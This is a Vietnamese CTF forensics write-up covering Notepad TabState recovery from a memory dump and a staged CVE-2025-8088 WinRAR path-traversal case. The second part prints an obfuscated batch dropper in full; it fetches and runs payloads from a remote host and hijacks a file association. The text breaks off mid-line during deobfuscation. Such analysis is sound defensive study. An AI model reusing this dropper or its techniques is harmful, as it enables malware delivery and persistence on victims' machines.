# Cuộc thi "Sinh viên với An toàn thông tin" cấp Học viện lần II năm 2025 [FORENSICS]

---
## 1. Quyển sổ thiên mệnh

> https://actvneduvn-my.sharepoint.com/:u:/g/personal/at190423_actvn_edu_vn/ET9qX4oZd61IoO8gi9RhYicBlV8TRA_mWEFeUM7KqRKVpg?e=mydU4J
Bài cho mình file memdump, cùng với đọc mô tả thì mình đoán được là khả năng cao tác giả cố tình gõ một list tên trong Notepad rồi không lưu file. Việc của mình là khôi phục nội dung unsaved từ bộ nhớ bài cho đó, phải kiểm tra tiến trình của Notepad, tuy nhiên thì không hiểu lý do tại sao plugin `pslist`, `psscan` của mình không hoạt động được:

Tuy nhiên thì các plugin khác vẫn hoạt động bình thường, ở đây mình dùng `filescan`:
```bash!
┌──(kali㉿kali)-[~/Downloads/VOL/volatility3-2.11.0]
└─$ python3 vol.py -f memdump.mem windows.filescan.FileScan | grep -i "TabState"
0x9e01bca0d0a0.0\Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\a4e884fb-49d7-46ff-a651-d57c1b889557.bin.tmp
0x9e01bca12500 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\a4e884fb-49d7-46ff-a651-d57c1b889557.bin
0x9e01bca9be70 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\c52062fe-7e2b-4a01-9274-3910bbb18f9d.bin
0x9e01bca9d130 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\c52062fe-7e2b-4a01-9274-3910bbb18f9d.bin.tmp
0x9e01bd6aa200 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState
0x9e01bd6aa390 \Users\hoangnv\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState
```

Ở đây ta cần chú ý đến các file `.bin` trong thư mục `TabState`, WindowState bin thuộc package Microsoft.WindowsNotepad trong LocalState → đúng nơi Notepad lưu trạng thái tab/khôi phục khi app chưa kịp lưu file. Đây là artifact để ta có thể khôi phục lại được nội dung mà author đã gõ, tuy nhiên thì ở bài này author đã chặn cú pháp quen thuộc `strings/grep` bằng cách encode đi flag, làm mình không thể tìm ra được bằng cách grep với format flag `KMACTF{`, tốn kha khá thời gian tìm các blog trên mạng để đọc thì mình tìm được các blog này, mọi người có thể đọc để hiểu rõ hơn:
> https://u0041.co/posts/articals/exploring-windows-artifacts-notepad-files/
>
> https://andreafortuna.org/2018/03/02/volatility-tips-extract-text-typed-in-a-notepad-window-from-a-windows-memory-dump/
>
> https://github.com/AbdulRhmanAlfaifi/notepad_parser
**TL;DR**
* **Notepad (Windows 11, UWP/Store app)** lưu trạng thái tab vào `%LOCALAPPDATA%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\*.bin`.
* File **TabState** chứa **đường dẫn**, **nội dung (UTF-16LE)**, **con trỏ chọn**, **cờ unsaved**, **checksum CRC32**, thậm chí **SHA-256 của file gốc**; với file **chưa lưu** (unsaved), vẫn có **content** ngay trong TabState.
* Các trường độ dài/số nguyên **không phải 1 byte** như tưởng tượng – chúng là **uLEB128** (mã hóa độ dài biến thiên).
* Vì vậy, **grep “KMACTF{”** có thể **không thấy** (do mã hóa/biến đổi), nhưng **dump đúng TabState** và **giải uLEB128** sẽ đọc ra nội dung (list tên/flag) rõ ràng.
**TabState vs WindowState**
* **TabState**: mỗi tab là một file `<GUID>.bin` (có thể thêm `.0.bin`, `.1.bin`, `.tmp` như file tạm). **Quan trọng nhất**: chứa **content** của tab, kể cả khi **chưa bao giờ bấm Save**.
* **WindowState**: siêu dữ liệu cửa sổ (tab đang focus, v.v.) – ít hữu ích cho nội dung flag.
> Trong bài này, ta chỉ cần **TabState**.
**Dạng dữ liệu & offsets**
- **Tất cả chuỗi lưu dạng UTF-16LE**. Nhiều “độ dài” và “số” là **uLEB128** (số nguyên mã hóa biến chiều). Cuối file có **CRC32** kiểm tra phần dữ liệu kể từ offset 0x03 đến trước 4 byte cuối.
**Trường cốt lõi (Saved Tabs – đã lưu ra đĩa)**
| Trường | Kiểu | Ý nghĩa |
| ---------------------- | -------- | ---------------------------------------------------------------- |
| `signature` | 2 byte | Luôn là `NP` |
| `unknown0` | 1 byte | Thường `00` (padding) |
| `file_saved_to_path` | bool | `01` nếu đã lưu ra đường dẫn; `00` nếu chưa |
| `path_length` | uLEB128 | Độ dài chuỗi **đường dẫn** (tính theo ký tự) |
| `file_path` | UTF-16LE | Đường dẫn đầy đủ |
| `file_size` | uLEB128 | Kích thước file gốc (ký tự) |
| `encoding` | u8 | 01 ANSI / 02 UTF-16LE / 03 UTF-16BE / 04 UTF-8 BOM / 05 UTF-8 |
| `cr_type` | u8 | 01 CRLF / 02 CR / 03 LF |
| `last_write_time` | uLEB128 | **FILETIME** nhưng được **uLEB128** hóa |
| `sha256_hash` | 32 byte | SHA-256 của **file gốc** |
| `unknown1` | 2 byte | Thường `00 01` |
| `selection_start` | uLEB128 | Vị trí con trỏ/chọn |
| `selection_end` | uLEB128 | Vị trí con trỏ/chọn |
| `config_block` | struct | word wrap, RTL, show unicode, version (uLEB128), … |
| `content_length` | uLEB128 | Độ dài **content** (ký tự) |
| `content` | UTF-16LE | **Nội dung tab** (cực kỳ quan trọng) |
| `contain_unsaved_data` | bool | `01` nếu nội dung TabState khác với file gốc (hoặc tab chưa lưu) |
| `checksum` | 4 byte | **CRC32** của toàn bộ nội dung từ offset 0x03 đến trước CRC |
| `unsaved_chunks` | list | Nhật ký chèn/xóa (undo/redo-like), mỗi chunk có CRC riêng |

Sau khi đọc blog [u0041](https://u0041.co/posts/articals/exploring-windows-artifacts-notepad-files/), mình biết nội dung Notepad (kể cả chưa bấm Save) có thể nằm trong các file TabState tại `…\LocalState\TabState\*.bin`. Vì plugin `pslist/psscan` không chạy ổn, mình không cần bám PID nữa, mà đi thẳng hướng “tìm –> dump –> đọc” dựa trên địa chỉ (offset) file trong RAM:
```bash!
┌──(kali㉿kali)-[~/Downloads/VOL/volatility3-2.11.0]
└─$ python3 vol.py -f memdump.mem windows.dumpfiles.DumpFiles --virtaddr 0x9e01bca12500
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0x9e01bca12500 a4e884fb-49d7-46ff-a651-d57c1b889557.bin file.0x9e01bca12500.0x9e01bcd21d90.DataSectionObject.a4e884fb-49d7-46ff-a651-d57c1b889557.bin.dat
SharedCacheMap 0x9e01bca12500 a4e884fb-49d7-46ff-a651-d57c1b889557.bin file.0x9e01bca12500.0x9e01bd1202a0.SharedCacheMap.a4e884fb-49d7-46ff-a651-d57c1b889557.bin.vacb
┌──(kali㉿kali)-[~/Downloads/VOL/volatility3-2.11.0]
└─$ xxd file.0x9e01bca12500.0x9e01bcd21d90.DataSectionObject.a4e884fb-49d7-46ff-a651-d57c1b889557.bin.dat | head
00000000: 4e50 0000 0100 0001 0000 0201 0100 00b5 NP..............
00000010: 4f47 0300 0080 104e 5020 0001 2222 0120 OG.....NP .."".
00000020: 0002 0101 2245 0039 003a 0044 0020 003a ...."E.9.:.D. .:
00000030: 0044 0020 0037 003d 0032 0038 0069 000d .D. .7.=.2.8.i..
00000040: 007a 007c 0070 0072 0025 0075 004c 0062 .z.|.p.r.%.u.L.b
00000050: 004b 0030 0034 0039 0032 003d 003d 0032 .K.0.4.9.2.=.=.2
00000060: 003f 0038 0062 004e 0001 74fb a5c6 0020 .?.8.b.N..t....
00000070: 0020 0020 0020 0020 0020 0020 0020 0020 . . . . . . . .
00000080: 0020 0020 0020 0020 0020 0020 0020 0020 . . . . . . . .
00000090: 0020 0020 0020 0020 0020 0020 0020 0020 . . . . . . . .
````

Ban đầu mình không chú ý lắm đoạn này, vì nghĩ là byte rác thôi, nhưng về sau khi có hint flag bị encode mình mới thử các cách, và phát hiện nó là flag bị encode [rot47](https://gchq.github.io/CyberChef/#recipe=ROT47(47)&input=enxwciV1TGJLMDQ5Mj09Mj84Yk4&ieol=CRLF):

> Flag: KMACTF{3z_challang3}
---
## 2. Deception Dive

>1 ứng viên vừa gửi cho tôi CV. Tuy nhiên sau khi mở CV xong, 1 số file ảnh đã bị hỏng không mở được. Bạn có thể giúp tôi xem chuyện gì đã xảy ra không?
Esencia forense?, link: https://drive.google.com/drive/folders/1R1508K1jo-sqjPHTytUl0kvCY6mJHG2Q
Một bài forensics + reverse rất hay đến từ author `Benjamin`, ở bài này author dựng lại 1 case liên quan đến [CVE-2025-8088](https://nvd.nist.gov/vuln/detail/CVE-2025-8088):
* Lỗi **path traversal** khi giải nén RAR cho phép tệp trong archive được ghi **ra ngoài thư mục đích** (ví dụ vào Startup), dẫn tới **thực thi mã** khi người dùng giải nén. Điểm mấu chốt của các khai thác gần đây là kết hợp với **NTFS Alternate Data Streams (ADS)** để che giấu payload. ([NVD][1])
* Được ESET báo cáo; đã bị **khai thác ngoài thực tế** (zero-day), có liên quan đến nhóm **RomCom**. ([We Live Security][2])
* **Ảnh hưởng:** Ảnh hưởng **WinRAR cho Windows** (các bản cũ); *nếu* nạn nhân giải nén archive độc hại, kẻ tấn công có thể thả file vào thư mục autorun/Startup → chạy tự động sau reboot. ([Cyber Security News][3])
* **Phiên bản vá:** **WinRAR 7.13** đã vá; WinRAR không auto-update nên phải **cập nhật thủ công**. ([We Live Security][2])
[1]: https://nvd.nist.gov/vuln/detail/CVE-2025-8088?utm_source=chatgpt.com "NVD - CVE-2025-8088"
[2]: https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/?utm_source=chatgpt.com "Update WinRAR tools now: RomCom and others exploiting zero-day ..."
[3]: https://cybersecuritynews.com/winrar-0-day-exploited/?utm_source=chatgpt.com "CVE-2025-8088 - WinRAR 0-Day Path Traversal Vulnerability Exploited to ..."
[4]: https://www.seqrite.com/blog/winrar-directory-traversal-ntfs-ads-vulnerabilities-cve-2025-6218-cve-2025-8088/?utm_source=chatgpt.com "WinRAR Directory Traversal & NTFS ADS Vulnerabilities (CVE-2025-6218 ..."
[5]: https://www.rapid7.com/db/vulnerabilities/rarlab-winrar-cve-2025-8088/?utm_source=chatgpt.com "Rapid7 Vulnerability Database"
---
### 2.1 Phát hiện ADS
Bài cho mình đĩa cứng ảo `.vhdx` chứa các dữ liệu từ máy nạn nhân, bắt đầu mount vào vm và phân tích, mình thu thập được 1 số file có dấu hiệu lạ:

Sau khi giải nén Resume.rar trên máy lab, WinRAR bật Diagnostic messages:
```!
Cannot create E:\C\Users\Castorice\Desktop\Resume\resume.txt\..\..\..\...
The filename, directory name, or volume label syntax is incorrect.
```
Đây là dấu hiệu path traversal rất rõ: trong tên tệp bên trong archive có chứa chuỗi ..\, khiến công cụ giải nén cố ghi file ra ngoài thư mục đích. Các khai thác gần đây trên WinRAR/UnRAR lợi dụng đúng kiểu này để thả file vào Startup/Run keys, mình dùng `7z` giải nén ra 1 thư mục khác và kiểm tra ADS (Alternative DataStream window: cửa sổ hiển thị hoặc xử lý các luồng dữ liệu phụ (ẩn) gắn với một tệp trong hệ thống tệp NTFS.):

```powershell!
E:\C\Users\Castorice>dir /r
Volume in drive E is KAPE (2025-08-21T15:34:20)
Volume Serial Number is 674C-3A39
Directory of E:\C\Users\Castorice
09/28/2025 10:35 PM <DIR> .
08/21/2025 07:39 AM <DIR> ..
08/21/2025 07:39 AM <DIR> AppData
09/28/2025 10:31 PM <DIR> Desktop
08/21/2025 07:50 AM <DIR> Documents
03/04/2025 12:01 PM 1,310,720 NTUSER.DAT
11/26/2024 08:06 PM 462,848 ntuser.dat.LOG1
11/26/2024 08:06 PM 368,640 ntuser.dat.LOG2
08/21/2025 07:50 AM <DIR> Pictures
08/21/2025 07:16 AM 115 resume.txt
6,510 resume.txt:.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._Users_Castorice_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_avast.bat:$DATA
4 File(s) 2,142,323 bytes
6 Dir(s) 1,390,440,448 bytes free
```
```powershell!
Get-Content -Path resume.txt -Stream '.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._Users_Castorice_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_avast.bat' -Encoding Byte -Raw | Set-Content -Path "correct_file.bin" -Encoding Byte
```

---
### 2.2 Deobfuscate
Nhìn sus như vậy thì mình không thể bỏ qua được rồi, lưu stream này vô file bin và mình xem bằng Hxd thì thấy được:

Cop đoạn decoded text ra ngoài cho dễ nhìn, mình có:
```bash!
ÿþ&@cls&@set "PpÃh¡=FoaOlpkqLUYyBK07DfnNZPsGIWJ4Qmj3iCXed5AEgHVb@9 8TrRxwMvtucS16z2h"
%PpÃh¡:~44,1%%PpÃh¡:~22,1%%PpÃh¡:~35,1%%PpÃh¡:~55,1%%PpÃh¡:~46,1%"%PpÃh¡:~13,1%%ÃÃc»Lq‘%¨%PpÃh¡:~63,1%%PpÃh¡:~17,1%=%PpÃh¡:~41,1%%PpÃh¡:~34,1%%PpÃh¡:~10,1%%PpÃh¡:~40,1%%PpÃh¡:~13,1%%PpÃh¡:~63,1%%PpÃh¡:~54,1%%PpÃh¡:~38,1%%PpÃh¡:~21,1%%PpÃh¡:~58,1%%PpÃh¡:~18,1%%PpÃh¡:~37,1%%PpÃh¡:~53,1%%PpÃh¡:~61,1%%PpÃh¡:~27,1%%PpÃh¡:~52,1%%PpÃh¡:~17,1%%PpÃh¡:~19,1%%PpÃh¡:~36,1%%PpÃh¡:~56,1%%PpÃh¡:~47,1%%PpÃh¡:~24,1%%PpÃh¡:~50,1%%PpÃh¡:~25,1%%PpÃh¡:~35,1%%PpÃh¡:~51,1%%PpÃh¡:~15,1%%PpÃh¡:~45,1%%PpÃh¡:~30,1%%PpÃh¡:~9,1%%PpÃh¡:~5,1%%PpÃh¡:~8,1%%îgN¨Ã_%%PpÃh¡:~2,1%%PpÃh¡:~28,1%%PpÃh¡:~29,1%%PpÃh¡:~16,1%%PpÃh¡:~0,1%%PpÃh¡:~4,1%%PpÃh¡:~44,1%%PpÃh¡:~43,1%%PpÃh¡:~39,1%%PpÃh¡:~11,1%%PpÃh¡:~46,1%%PpÃh¡:~7,1%%PpÃh¡:~26,1%%PpÃh¡:~32,1%%PpÃh¡:~60,1%%PpÃh¡:~23,1%%PpÃh¡:~48,1%%PpÃh¡:~57,1%%PpÃh¡:~3,1%%PpÃh¡:~22,1%%a©ed…‰ª%%PpÃh¡:~55,1%%PpÃh¡:~62,1%%PpÃh¡:~42,1%%PpÃh¡:~31,1%%PpÃh¡:~6,1%%PpÃh¡:~12,1%%PpÃh¡:~20,1%%»ºYW³‘%%PpÃh¡:~59,1%%PpÃh¡:~1,1%%PpÃh¡:~49,1%%PpÃh¡:~14,1%%PpÃh¡:~33,1%"
%K¨hf:~38,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~60,1%%K¨hf:~42,1%%K¨hf:~60,1%%K¨hf:~16,1%%K¨hf:~16,1%
%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~50,1%%K¨hf:~23,1%%K¨hf:~17,1%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%%KmPÃhsÃ%%K¨hf:~40,1%%K¨hf:~22,1%=%K¨hf:~4,1%%K¨hf:~63,1%%ºÃÃÃFUÃ%%K¨hf:~9,1%%K¨hf:~63,1%_%K¨hf:~47,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~17,1%%K¨hf:~24,1%%K¨hf:~15,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~54,1%%K¨hf:~24,1%%¨Ã§ÃCNO%%K¨hf:~61,1%%K¨hf:~51,1%%K¨hf:~45,1%%K¨hf:~60,1%%K¨hf:~10,1%%Ãj…_mÃÃ%
%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%://%K¨hf:~3,1%%ZmcÃIFV%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%‡ÃxC¹¤z%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%TRãQPO%%K¨hf:~10,1%/%K¨hf:~29,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~35,1%%K¨hf:~24,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~60,1%%K¨hf:~41,1%.%K¨hf:~24,1%%K¨hf:~25,1%%K¨hf:~24,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%
%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~1,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%%K¨hf:~35,1%_%K¨hf:~63,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%%ygFtnºÃ%://%K¨hf:~3,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%œQwÃy_º%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%ºH¢±ÃÃÃ%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%K¨hf:~10,1%/%K¨hf:~7,1%%K¨hf:~51,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%.%K¨hf:~56,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~45,1%%K¨hf:~45,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%%Ãà ¡Ãh§%
%K¨hf:~51,1%%K¨hf:~24,1%%à ‘i¤Ãe%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~48,1%%K¨hf:~40,1%%K¨hf:~12,1%%K¨hf:~8,1%%K¨hf:~42,1%=%K¨hf:~42,1%%temp%
%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%windir%\System32\oaep.exe
%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~2,1%%lÃ…ÃÃÃa%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%temp%\Asset.kseii
%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%"%K¨hf:~57,1%%K¨hf:~7,1%%K¨hf:~48,1%_%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~48,1%%K¨hf:~0,1%=%~dp0avast.bat"
%K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%DROPPER_URL% %DROPPER_OUTPUT% >nul 2>&1
%K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%XORED_CORE_URL% %PAYLOAD_OUTPUT% >nul 2>&1
%K¨hf:~16,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%%K¨hf:~42,1%%K¨hf:~4,1%%K¨hf:~63,1%%¤M_aÃÃÃ%%K¨hf:~9,1%%K¨hf:~63,1%%K¨hf:~8,1%%K¨hf:~61,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%="%DROPPER_OUTPUT%" "%%1" & assoc .kseii=KCSCPrototype
%PAYLOAD_OUTPUT%
%temp%\AssetHelper.exe
%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%ÃBÃnu¼i%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%DROPPER_OUTPUT%
%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%dÃìÃÃ%%K¨hf:~60,1%%wÃÃiÃx%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%M®ÃÃvIb%%K¨hf:~62,1%%_ÃsYNpU%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%temp%\AssetHelper.exe
%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%%yN¥£ºÃ„%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%BAT_PATH%
```
Khá là rối mắt, mình bị stuck tại đây khá lâu vì không tìm được cách deobfuscate nó, nhưng sau khi kết hợp với ChatGPT, mình tìm được các blog hữu ích sau:
> https://www.emanueledelucia.net/unveiling-obfuscated-batch-scripts-from-utf-8-to-utf-16-bom-conversion/ (mẹo về BOM/encoding, caret-join ^, và delayed expansion khiến biến hiển thị khác khi echo so với lúc thực thi)
> 
> https://www.oneconsult.com/en/blog/digital-forensics/batch-file-obfuscation-incident/ (các mẫu xâu ghép với set var=!var:~i,n!, for /f tự giải mã, dùng ASCII/UTF-16 để qua mặt AV)
> 
Ý tưởng mình rút ra: phần lớn batch obfuscation không “mã hóa” thật, chỉ là đổi encoding + nối dòng + trì hoãn mở rộng biến. Chỉ cần “ép” nó in ra các biến NGAY TRƯỚC KHI dùng, sẽ thấy logic rõ ràng. Mình bắt đầu batch runner (debug bằng echo):
```powershell!
@set "K¨hf=HXYgKhvAPSn5Mz4wfNdu8IRWex79jUpLaQmDFl@bEy qJi6GTcOst2V3kBZ1or0C"
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~50,1%%K¨hf:~23,1%%K¨hf:~17,1%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%%KmPÃhsÃ%%K¨hf:~40,1%%K¨hf:~22,1%=%K¨hf:~4,1%%K¨hf:~63,1%%ºÃÃÃFUÃ%%K¨hf:~9,1%%K¨hf:~63,1%_%K¨hf:~47,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~17,1%%K¨hf:~24,1%%K¨hf:~15,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~54,1%%K¨hf:~24,1%%¨Ã§ÃCNO%%K¨hf:~61,1%%K¨hf:~51,1%%K¨hf:~45,1%%K¨hf:~60,1%%K¨hf:~10,1%%Ãj
_mÃÃ%
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%://%K¨hf:~3,1%%ZmcÃIFV%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%ÃxC¹¤z%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%TRãQPO%%K¨hf:~10,1%/%K¨hf:~29,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~35,1%%K¨hf:~24,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf: